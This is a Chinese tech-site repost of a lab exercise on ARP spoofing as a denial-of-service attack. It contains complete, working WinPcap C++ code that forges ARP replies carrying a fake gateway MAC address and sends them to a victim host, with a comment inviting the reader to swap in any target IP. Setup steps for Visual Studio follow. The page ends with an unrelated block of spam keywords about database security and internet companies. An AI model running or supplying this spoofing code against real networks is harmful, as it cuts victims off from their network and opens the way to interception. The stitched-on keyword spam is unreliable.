千家信息网

伪造的ARP应答报文,阻碍对方通信

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,实验原理:对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与
千家信息网最后更新 2026年10月31日伪造的ARP应答报文,阻碍对方通信

实验原理:

对主机A发送伪造的ARP应答报文,假冒主机B的IP地址,但MAC地址设为不存在的一个硬件地址,主机A接收此报文后错误地刷新ARP高速缓存中主机B的IP地址与MAC地址的映射关系,导致主机A与主机B的网络通信中断。这种方法属于拒绝服务(Denial of Service, DoS)***,网络上流行的网络执法官等软件就是采用ARP欺骗机制,发送错误的网关MAC地址给非法用户,使其通信中断。

***者172.28.15.3以172.28.15.33的名义发起的一次ARP欺骗,可以看出,***者发送了一系列的ARP请求包,表面上像是网关 172.28.15.33在网络中查寻各个主机的MAC地址,而实际上是***者通过发送广播包告诉各个主机:172.28.15.33的MAC地址是 "c8-9c-dc-22-61-d0"。这样,当各主机收到广播包后,就会用伪造的这个MAC地址来更换原先的ARP缓存表,此时用"arp -a"命令查看时得到的就是这个伪造的MAC地址。


实验代码及步骤:

// 123.cpp : 定义控制台应用程序的入口点。
#include "stdafx.h"
#include
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//适配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//适配器句柄
u_char packet[ 1020 ]; //待发送的数据封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//检索机器连接的所有网络适配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}

if( allAdapters == NULL )
{//不存在任何适配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍历输入适配器信息(名称和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );

//选择适配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );

if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 释放适配器列表
return -1;
}

adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;

// 打开指定适配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定适配器打开失败
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}

pcap_freealldevs( allAdapters );//释放适配器列表

//创建数据封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被骗计算机的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 自己的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太网
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP协议
packet[18] = 0x06; // arp第3字段:代表第二层地址的长度
packet[19] = 0x04; // arp第4字段:代表第三层地址的长度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的网关地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x61; packet[37] = 0xd0; // 被骗计算机的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x21; // 被骗计算机的IP地址,这里是172.28.15.33 (想骗谁,这里就改成谁的IP)


//发送数据封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}

system( "PAUSE" );
return 0;
}

运行结果:

查看要被欺骗的MAC地址:

如果不想被欺骗就需要mac绑定:


注意事项:

项目-->(123)属性(alt+F7)
配置属性-->清单工具-->输入和输出-->嵌入清单-->否


项目-->(123)属性(alt+F7)
配置属性-->C/C++-->常规-->附加包含目录-->(C:\WpdPack选中include文件)
项目-->(123)属性(alt+F7)
配置属性-->链接器-->常规-->附加库目录-->(C:\WpdPack选中lib文件)

项目-->(123)属性(alt+F7)
配置属性-->链接器-->输入-->附加依赖项-->补充";Packet.lib;wpcap.lib;Ws2_32.lib;"

项目-->(123)属性(alt+F7)
配置属性-->C/C++-->预处理器-->预处理器定义-->补充";HAVE_REMOTE"

---------LINK:fatal error LNK1123: 转换到 COFF 期间失败: 文件无效或损坏--------

第一步:将 项目--项目属性--配置属性--连接器--清单文件--嵌入清单 "是"改为"否"。若还不能解决问题进入第二步。
第二步:查看计算机是否为64bit操作系统,如是,继续如下操作。
查找是否有两个cvtres.exe。
C:\Program Files(x86)\Microsoft Visual Studio 10.0\vc\bin\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
右键属性-详细信息, 查看两者版本号,删除/重命名较旧的版本,或者重新设置Path变量。


治本的办法是第二步,删除旧版本的cvtres.exe后,就不需要每次都设置配置。
例如: del C:\"Program Files (x86)"\"Microsoft Visual Studio 10.0"\VC\bin\cvtres.exe


地址 属性 适配器 适配 主机 项目 配置 字段 网络 代表 信息 文件 清单 网关 计算机 报文 数据 版本 错误 封包 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 深圳九邦互联网科技有限公司 互联网科技深圳 中资互联网科技 互联网科技的发展 科技服务与互联网 美国互联网科技 互联网 科技创业 哈尔滨秒房互联网科技有限公司 互联网教育科技公司vipkid 创业天下互联网科技有限公司 电子科技大学互联网创业大赛 互联网新科技动漫ppt素材 洛阳共同富裕互联网科技有限公司 南博望互联网科技有限公司 21世纪互联网科技成就 济南小医互联网科技有限公司招聘 抖集互联网科技技术咨询 福建互联网展示科技馆设计 长沙渺峰互联网科技有限公司 安徽零酒互联网科技有限公司 深圳市人人互联网科技有限公司 科技企业和互联网企业 腾讯科技 互联网女皇 有木互联网科技 天下捷融互联网科技 成都玖崟互联网科技有限公司乐商圈怎么样 互联网保险科技创业 中国科技创新与世界互联网大会 华中科技大学互联网的牛人 郑州欣桑互联网科技有限公司
0